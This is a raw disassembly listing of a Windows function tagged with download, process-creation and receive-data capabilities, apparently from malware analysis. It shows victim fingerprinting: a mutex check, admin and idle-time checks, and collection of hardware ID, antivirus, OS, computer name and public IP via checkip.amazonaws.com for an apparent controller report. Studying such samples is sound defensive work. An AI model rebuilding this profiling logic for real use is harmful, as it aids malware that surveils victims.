Function at 0x405830
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xa58
mov eax, dword [0x43f004]
xor eax, esp
mov dword [esp + 0xa54], eax
push esi
push edi
push 0x43ac7c
lea ecx, [esp + 0x334]
call fcn.00407c10
push str.TEXKEY
lea ecx, [esp + 0x334]
call fcn.004099f0
push str.ADDERAL
lea ecx, [esp + 0x334]
call fcn.004099f0
push str.LPRO
lea ecx, [esp + 0x334]
call fcn.004099f0
push str.TECT
lea ecx, [esp + 0x334]
call fcn.004099f0
cmp dword [esp + 0x344], 8
lea eax, [esp + 0x330]
cmovae eax, dword [esp + 0x330]
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4058f4
lea ecx, [esp + 0x330]
call fcn.00407ba0
mov ecx, dword [esp + 0xa5c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.0040e7db
mov esp, ebp
pop ebp
ret 0x10
push 0x20
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov esi, eax
lea eax, [esp + 0x500]
push eax
push 0
push 0
mov ecx, dword [esi]
push esi
call dword [ecx + 0x14]
push 0x200
call fcn.00419318
add esp, 4
mov edi, eax
lea eax, [esp + 0x700]
push eax
push 0x200
push edi
call fcn.00417e0b
mov ecx, dword [esi]
add esp, 0xc
push esi
call dword [ecx + 8]
mov ecx, edi
mov dword [esp + 0x3a0], 0
mov dword [esp + 0x3a4], 0xf
mov byte [esp + 0x390], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405960
sub ecx, edx
push ecx
push edi
lea ecx, [esp + 0x398]
call fcn.004011b0
lea ecx, [esp + 0x3a8]
call fcn.00403440
lea ecx, [esp + 0x3c0]
call fcn.004040d0
lea ecx, [esp + 0x3d8]
call fcn.004048e0
lea ecx, [esp + 0x3f0]
call fcn.00404040
lea eax, [esp + 0x204]
xor esi, esi
push eax
push 8
mov dword [esp + 0x20c], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x405a01
lea eax, [esp + 0x234]
mov dword [esp + 0x234], 4
push eax
push 4
lea eax, [esp + 0x238]
push eax
push 0x14
push dword [esp + 0x214]
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne esi, dword [esp + 0x230]
mov eax, dword [esp + 0x204]
test eax, eax
je 0x405a13
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
mov dword [esp + 0x358], 0
mov edx, str.Admin
mov dword [esp + 0x35c], 0xf
mov eax, str.User
mov byte [esp + 0x348], 0
cmove edx, eax
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405a45
sub ecx, esi
push ecx
push edx
lea ecx, [esp + 0x350]
call fcn.004011b0
lea ecx, [esp + 0x408]
call fcn.00403800
nop dword [eax + eax]
xorps xmm0, xmm0
lea eax, [esp + 0x208]
movq qword [esp + 0x208], xmm0
push eax
mov dword [esp + 0x20c], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
lea eax, [esp + 0x450]
sub esi, dword [esp + 0x20c]
push 0xb0
push 0
push eax
call fcn.00411660
add esp, 4
lea ecx, [esp + 0x458]
call fcn.0040bac0
push esi
lea ecx, [esp + 0x464]
call fcn.0040bbb0
lea eax, [esp + 0x378]
push eax
lea ecx, [esp + 0x454]
call fcn.0040b9d0
lea ecx, [esp + 0x450]
call fcn.00409880
sub esp, 0x18
mov ecx, esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x43a49f
mov byte [ecx], 0
call fcn.004011b0
sub esp, 0x18
mov ecx, esp
push 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push 0x43a4e2
mov byte [ecx], 0
call fcn.004011b0
sub esp, 0x18
mov ecx, esp
push 0x15
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.checkip.amazonaws.com
mov byte [ecx], 0
call fcn.004011b0
lea ecx, [esp + 0x480]
call fcn.004049e0
add esp, 0x48
mov dword [esp + 0x220], 0
lea ecx, [esp + 0x210]
mov dword [esp + 0x224], 0xf
mov byte [esp + 0x210], 0
push 0
push 0x43a4e3
call fcn.004011b0
push 1
push 0x43acd8
lea ecx, [esp + 0x18]
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0xf
mov byte [esp + 0x18], 0
call fcn.004011b0
lea eax, [esp + 0x210]
push eax
lea eax, [esp + 0x14]
push eax
lea edx, [esp + 0x440]
lea ecx, [esp + 0x368]
call fcn.00405050
mov edx, dword [esp + 0x2c]
add esp, 8
cmp edx, 0x10
jb 0x405c32
mov ecx, dword [esp + 0x10]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405c28
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x224]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0xf
mov byte [esp + 0x10], 0
cmp edx, 0x10
jb 0x405c9d
mov ecx, dword [esp + 0x210]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x405c93
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
lea eax, [esp + 0x390]
mov edx, str.gpu
push eax
lea ecx, [esp + 0x23c]
call fcn.0040a6a0
mov edi, eax
add esp, 4
mov edx, dword [edi + 0x14]
mov eax, edx
mov ecx, dword [edi + 0x10]
sub eax, ecx
cmp eax, 5
jb 0x405cf2
lea eax, [ecx + 5]
mov dword [edi + 0x10], eax
mov eax, edi
cmp edx, 0x10
jb 0x405cd9
mov eax, dword [edi]
push 5
lea esi, [eax + ecx]
push str.net
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 5], 0
jmp 0x405d13
push 5
push str.net
mov byte [esp + 0x238], 0
mov ecx, edi
push dword [esp + 0x238]
push 5
call fcn.0040b600
mov edi, eax
mov dword [esp + 0x20], 0
lea ecx, [esp + 0x3a8]
mov dword [esp + 0x24], 0
movups xmm0, xmmword [edi]
movups xmmword [esp + 0x10], xmm0
movq xmm0, qword [edi + 0x10]
movq qword [esp + 0x20], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp dword [esp + 0x3bc], 0x10
mov esi, dword [esp + 0x24]
mov eax, esi
cmovae ecx, dword [esp + 0x3a8]
mov edi, dword [esp + 0x3b8]
mov edx, dword [esp + 0x20]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x405da0
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [esp + 0x28], eax
lea eax, [esp + 0x18]
cmovae eax, dword [esp + 0x18]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [esp + 0x10]
jmp 0x405db9
mov byte [esp + 0x23c], 0
lea ecx, [esp + 0x18]
push dword [esp + 0x23c]
push edi
call fcn.0040b600
mov dword [esp + 0x260], 0
mov dword [esp + 0x264], 0
movups xmm0, xmmword [eax]
push 6
push str.hwid
movups xmmword [esp + 0x258], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x268], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x26c]
mov eax, edx
mov ecx, dword [esp + 0x268]
sub eax, ecx
cmp eax, 6
jb 0x405e4b
cmp edx, 0x10
lea esi, [esp + 0x258]
lea eax, [ecx + 6]
cmovae esi, dword [esp + 0x258]
add esi, ecx
mov dword [esp + 0x268], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 6], 0
lea eax, [esp + 0x250]
jmp 0x405e68
mov byte [esp + 0x1a4], 0
lea ecx, [esp + 0x258]
push dword [esp + 0x1a4]
push 6
call fcn.0040b600
mov dword [esp + 0x2e0], 0
lea ecx, [esp + 0x3c0]
mov dword [esp + 0x2e4], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x2d0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x2e0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x3d4], 0x10
mov esi, dword [esp + 0x2e4]
mov eax, esi
cmovae ecx, dword [esp + 0x3c0]
mov edi, dword [esp + 0x3d0]
mov edx, dword [esp + 0x2e0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x405f13
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [esp + 0x2e8], eax
lea eax, [esp + 0x2d8]
cmovae eax, dword [esp + 0x2d8]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [esp + 0x2d0]
jmp 0x405f2f
mov byte [esp + 0x1a8], 0
lea ecx, [esp + 0x2d8]
push dword [esp + 0x1a8]
push edi
call fcn.0040b600
mov dword [esp + 0x2c0], 0
mov dword [esp + 0x2c4], 0
movups xmm0, xmmword [eax]
push 4
push str.av
movups xmmword [esp + 0x2b8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x2c8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x2cc]
mov eax, edx
mov ecx, dword [esp + 0x2c8]
sub eax, ecx
cmp eax, 4
jb 0x405fc1
cmp edx, 0x10
lea esi, [esp + 0x2b8]
lea eax, [ecx + 4]
cmovae esi, dword [esp + 0x2b8]
add esi, ecx
mov dword [esp + 0x2c8], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 4], 0
lea eax, [esp + 0x2b0]
jmp 0x405fde
mov byte [esp + 0x1ac], 0
lea ecx, [esp + 0x2b8]
push dword [esp + 0x1ac]
push 4
call fcn.0040b600
mov dword [esp + 0x220], 0
lea ecx, [esp + 0x1e0]
mov dword [esp + 0x224], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x210], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x220], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.004052b0
push eax
lea edx, [esp + 0x214]
lea ecx, [esp + 0x310]
call fcn.0040a9c0
mov esi, eax
add esp, 4
mov ecx, dword [esi + 0x14]
mov eax, ecx
mov edi, dword [esi + 0x10]
sub eax, edi
cmp eax, 5
jb 0x40608f
mov dword [esp + 0x204], esi
lea eax, [edi + 5]
mov dword [esi + 0x10], eax
mov eax, esi
cmp ecx, 0x10
jb 0x40606f
mov eax, dword [esi]
mov dword [esp + 0x204], eax
push 5
add eax, edi
push str.cpu
push eax
call fcn.00410be0
mov eax, dword [esp + 0x210]
add esp, 0xc
mov byte [eax + edi + 5], 0
jmp 0x4060b0
push 5
push str.cpu
mov byte [esp + 0x1b0], 0
mov ecx, esi
push dword [esp + 0x1b0]
push 5
call fcn.0040b600
mov esi, eax
mov dword [esp + 0x2a0], 0
lea ecx, [esp + 0x3d8]
mov dword [esp + 0x2a4], 0
movups xmm0, xmmword [esi]
movups xmmword [esp + 0x290], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [esp + 0x2a0], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp dword [esp + 0x3ec], 0x10
mov esi, dword [esp + 0x2a4]
mov eax, esi
cmovae ecx, dword [esp + 0x3d8]
mov edi, dword [esp + 0x3e8]
mov edx, dword [esp + 0x2a0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x40615b
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [esp + 0x2a8], eax
lea eax, [esp + 0x298]
cmovae eax, dword [esp + 0x298]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [esp + 0x290]
jmp 0x406177
mov byte [esp + 0x1b4], 0
lea ecx, [esp + 0x298]
push dword [esp + 0x1b4]
push edi
call fcn.0040b600
mov dword [esp + 0x280], 0
mov dword [esp + 0x284], 0
movups xmm0, xmmword [eax]
push 0xe
push str.computername
movups xmmword [esp + 0x278], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x288], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x28c]
mov eax, edx
mov ecx, dword [esp + 0x288]
sub eax, ecx
cmp eax, 0xe
jb 0x406209
cmp edx, 0x10
lea esi, [esp + 0x278]
lea eax, [ecx + 0xe]
cmovae esi, dword [esp + 0x278]
add esi, ecx
mov dword [esp + 0x288], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 0xe], 0
lea eax, [esp + 0x270]
jmp 0x406226
mov byte [esp + 0x1b8], 0
lea ecx, [esp + 0x278]
push dword [esp + 0x1b8]
push 0xe
call fcn.0040b600
mov dword [esp + 0x40], 0
lea ecx, [esp + 0x3f0]
mov dword [esp + 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x30], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x40], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x404], 0x10
mov esi, dword [esp + 0x44]
mov eax, esi
cmovae ecx, dword [esp + 0x3f0]
mov edi, dword [esp + 0x400]
mov edx, dword [esp + 0x40]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4062b3
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [esp + 0x48], eax
lea eax, [esp + 0x38]
cmovae eax, dword [esp + 0x38]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [esp + 0x30]
jmp 0x4062cc
mov byte [esp + 0x1bc], 0
lea ecx, [esp + 0x38]
push dword [esp + 0x1bc]
push edi
call fcn.0040b600
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
movups xmm0, xmmword [eax]
push 0xc
push str.privileges
movups xmmword [esp + 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x68], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x6c]
mov eax, edx
mov ecx, dword [esp + 0x68]
sub eax, ecx
cmp eax, 0xc
jb 0x406340
cmp edx, 0x10
lea esi, [esp + 0x58]
lea eax, [ecx + 0xc]
cmovae esi, dword [esp + 0x58]
add esi, ecx
mov dword [esp + 0x68], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [esp + 0x50]
jmp 0x40635a
mov byte [esp + 0x1c0], 0
lea ecx, [esp + 0x58]
push dword [esp + 0x1c0]
push 0xc
call fcn.0040b600
mov dword [esp + 0x80], 0
lea ecx, [esp + 0x348]
mov dword [esp + 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x70], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x80], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x35c], 0x10
mov esi, dword [esp + 0x84]
mov eax, esi
cmovae ecx, dword [esp + 0x348]
mov edi, dword [esp + 0x358]
mov edx, dword [esp + 0x80]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4063f9
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [esp + 0x88], eax
lea eax, [esp + 0x78]
cmovae eax, dword [esp + 0x78]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [esp + 0x70]
jmp 0x406412
mov byte [esp + 0x1c4], 0
lea ecx, [esp + 0x78]
push dword [esp + 0x1c4]
push edi
call fcn.0040b600
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0
movups xmm0, xmmword [eax]
push 8
push str.osname
movups xmmword [esp + 0xb8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0xc8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0xcc]
mov eax, edx
mov ecx, dword [esp + 0xc8]
sub eax, ecx
cmp eax, 8
jb 0x4064a4
cmp edx, 0x10
lea esi, [esp + 0xb8]
lea eax, [ecx + 8]
cmovae esi, dword [esp + 0xb8]
add esi, ecx
mov dword [esp + 0xc8], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 8], 0
lea eax, [esp + 0xb0]
jmp 0x4064c1
mov byte [esp + 0x1c8], 0
lea ecx, [esp + 0xb8]
push dword [esp + 0x1c8]
push 8
call fcn.0040b600
mov dword [esp + 0x140], 0
lea ecx, [esp + 0x408]
mov dword [esp + 0x144], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x130], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x140], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x41c], 0x10
mov esi, dword [esp + 0x144]
mov eax, esi
cmovae ecx, dword [esp + 0x408]
mov edi, dword [esp + 0x418]
mov edx, dword [esp + 0x140]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x40656c
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [esp + 0x148], eax
lea eax, [esp + 0x138]
cmovae eax, dword [esp + 0x138]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [esp + 0x130]
jmp 0x406588
mov byte [esp + 0x1cc], 0
lea ecx, [esp + 0x138]
push dword [esp + 0x1cc]
push edi
call fcn.0040b600
mov dword [esp + 0x160], 0
mov dword [esp + 0x164], 0
movups xmm0, xmmword [eax]
push 9
push str.version
movups xmmword [esp + 0x158], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x168], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x16c]
mov eax, edx
mov ecx, dword [esp + 0x168]
sub eax, ecx
cmp eax, 9
jb 0x40661a
cmp edx, 0x10
lea esi, [esp + 0x158]
lea eax, [ecx + 9]
cmovae esi, dword [esp + 0x158]
add esi, ecx
mov dword [esp + 0x168], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 9], 0
lea eax, [esp + 0x150]
jmp 0x406637
mov byte [esp + 0x1d0], 0
lea ecx, [esp + 0x158]
push dword [esp + 0x1d0]
push 9
call fcn.0040b600
mov dword [esp + 0x180], 0
mov ecx, 0x43fa08
mov dword [esp + 0x184], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x170], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x180], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [0x43fa1c], 0x10
mov esi, dword [esp + 0x184]
mov eax, esi
cmovae ecx, dword [0x43fa08]
mov edi, dword [0x43fa18]
mov edx, dword [esp + 0x180]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4066dd
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [esp + 0x188], eax
lea eax, [esp + 0x178]
cmovae eax, dword [esp + 0x178]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [esp + 0x170]
jmp 0x4066f9
mov byte [esp + 0x1d4], 0
lea ecx, [esp + 0x178]
push dword [esp + 0x1d4]
push edi
call fcn.0040b600
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0
movups xmm0, xmmword [eax]
push 0xb
push str.ipaddress
movups xmmword [esp + 0xf8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x108], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0x10c]
mov eax, edx
mov ecx, dword [esp + 0x108]
sub eax, ecx
cmp eax, 0xb
jb 0x40678b
cmp edx, 0x10
lea esi, [esp + 0xf8]
lea eax, [ecx + 0xb]
cmovae esi, dword [esp + 0xf8]
add esi, ecx
mov dword [esp + 0x108], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [esp + 0xf0]
jmp 0x4067a8
mov byte [esp + 0x1d8], 0
lea ecx, [esp + 0xf8]
push dword [esp + 0x1d8]
push 0xb
call fcn.0040b600
mov dword [esp + 0x120], 0
lea ecx, [esp + 0x360]
mov dword [esp + 0x124], 0
movups xmm0, xmmword [eax]
movups xmmword [esp + 0x110], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0x120], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x374], 0x10
mov esi, dword [esp + 0x124]
mov eax, esi
cmovae ecx, dword [esp + 0x360]
mov edi, dword [esp + 0x370]
mov edx, dword [esp + 0x120]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x406853
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [esp + 0x128], eax
lea eax, [esp + 0x118]
cmovae eax, dword [esp + 0x118]
lea esi, [eax + edx]
push esi
call fcn.00410be0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [esp + 0x110]
jmp 0x40686f
mov byte [esp + 0x1dc], 0
lea ecx, [esp + 0x118]
push dword [esp + 0x1dc]
push edi
call fcn.0040b600
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0
movups xmm0, xmmword [eax]
push 0xa
push str.idletime
movups xmmword [esp + 0xd8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0xe8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [esp + 0xec]
mov eax, edx
mov ecx, dword [esp + 0xe8]
sub eax, ecx
cmp eax, 0xa
jb 0x406901
cmp edx, 0x10
lea esi, [esp + 0xd8]
lea eax, [ecx + 0xa]
cmovae esi, dword [esp + 0xd8]
add esi, ecx
mov dword [esp + 0xe8], eax
push esi
call fcn.00410be0
add esp, 0xc
mov byte [esi + 0xa], 0
lea eax, [esp + 0xd0]
jmp 0x40691e
mov byte [esp + 0x1e0], 0
lea ecx, [esp + 0xd8]
push dword [esp + 0x1e0]
push 0xa
call fcn.0040b600
mov dword [esp + 0xa0], 0
lea ecx, [esp + 0x378]
mov dword [esp + 0xa4], 0
sub esp, 0x18
movups xmm0, xmmword [eax]
mov esi, esp
mov dword [esp + 0x21c], esi
movups xmmword [esp + 0xa8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esp + 0xb8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
cmp dword [esp + 0x3a4], 0x10
mov eax, dword [esp + 0xbc]
cmovae ecx, dword [esp + 0x390]
mov edi, dword [esp + 0x3a0]
mov edx, dword [esp + 0xb8]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4069de
cmp dword [esp + 0xc4], 0x10
lea esi, [esp + 0xb0]
lea eax, [edx + edi]
cmovae esi, dword [esp + 0xb0]
add esi, edx
mov dword [esp + 0xc0], eax
push esi
call fcn.00410be0
mov byte [esi + edi], 0
lea eax, [esp + 0xb4]
mov esi, dword [esp + 0x228]
add esp, 0xc
jmp 0x4069fa
mov byte [esp + 0x1fc], 0
lea ecx, [esp + 0xb0]
push dword [esp + 0x1fc]
push edi
call fcn.0040b600
mov dword [esi + 0x10], 0
sub esp, 0x18
mov dword [esi + 0x14], 0
mov ecx, esp
movups xmm0, xmmword [eax]
push 0x43fa50
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.00407e90
sub esp, 0x18
mov ecx, esp
push 0x43fa20
call fcn.00407e90
lea ecx, [esp + 0x468]
call fcn.004049e0
mov edx, dword [esp + 0xec]
add esp, 0x48
cmp edx, 0x10
jb 0x406aac
mov ecx, dword [esp + 0x90]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406aa2
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0xe4]
mov dword [esp + 0xa0], 0
mov dword [esp + 0xa4], 0xf
mov byte [esp + 0x90], 0
cmp edx, 0x10
jb 0x406b20
mov ecx, dword [esp + 0xd0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b16
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x124]
mov dword [esp + 0xe0], 0
mov dword [esp + 0xe4], 0xf
mov byte [esp + 0xd0], 0
cmp edx, 0x10
jb 0x406b94
mov ecx, dword [esp + 0x110]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406b8a
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x104]
mov dword [esp + 0x120], 0
mov dword [esp + 0x124], 0xf
mov byte [esp + 0x110], 0
cmp edx, 0x10
jb 0x406c08
mov ecx, dword [esp + 0xf0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406bfe
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x184]
mov dword [esp + 0x100], 0
mov dword [esp + 0x104], 0xf
mov byte [esp + 0xf0], 0
cmp edx, 0x10
jb 0x406c7c
mov ecx, dword [esp + 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406c72
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x164]
mov dword [esp + 0x180], 0
mov dword [esp + 0x184], 0xf
mov byte [esp + 0x170], 0
cmp edx, 0x10
jb 0x406cf0
mov ecx, dword [esp + 0x150]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406ce6
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x144]
mov dword [esp + 0x160], 0
mov dword [esp + 0x164], 0xf
mov byte [esp + 0x150], 0
cmp edx, 0x10
jb 0x406d64
mov ecx, dword [esp + 0x130]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406d5a
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0xc4]
mov dword [esp + 0x140], 0
mov dword [esp + 0x144], 0xf
mov byte [esp + 0x130], 0
cmp edx, 0x10
jb 0x406dd8
mov ecx, dword [esp + 0xb0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x406dce
lea esi, [edx + 0x23]
cmp esi, edx
jbe 0x407a84
mov edx, esi
test al, 0x1f
jne 0x407a84
mov ecx, dword [ecx - 4]
cmp ecx, eax
jae 0x407a84
sub eax, ecx
sub eax, 4
cmp eax, 0x1f
ja 0x407a84
push edx
push ecx
call fcn.0040ec96
add esp, 8
mov edx, dword [esp + 0x84]
mov dword [esp + 0xc0], 0
mov dword [esp + 0xc4], 0xf
mov byte [esp + 0xb0], 0
cmp edx, 0x10
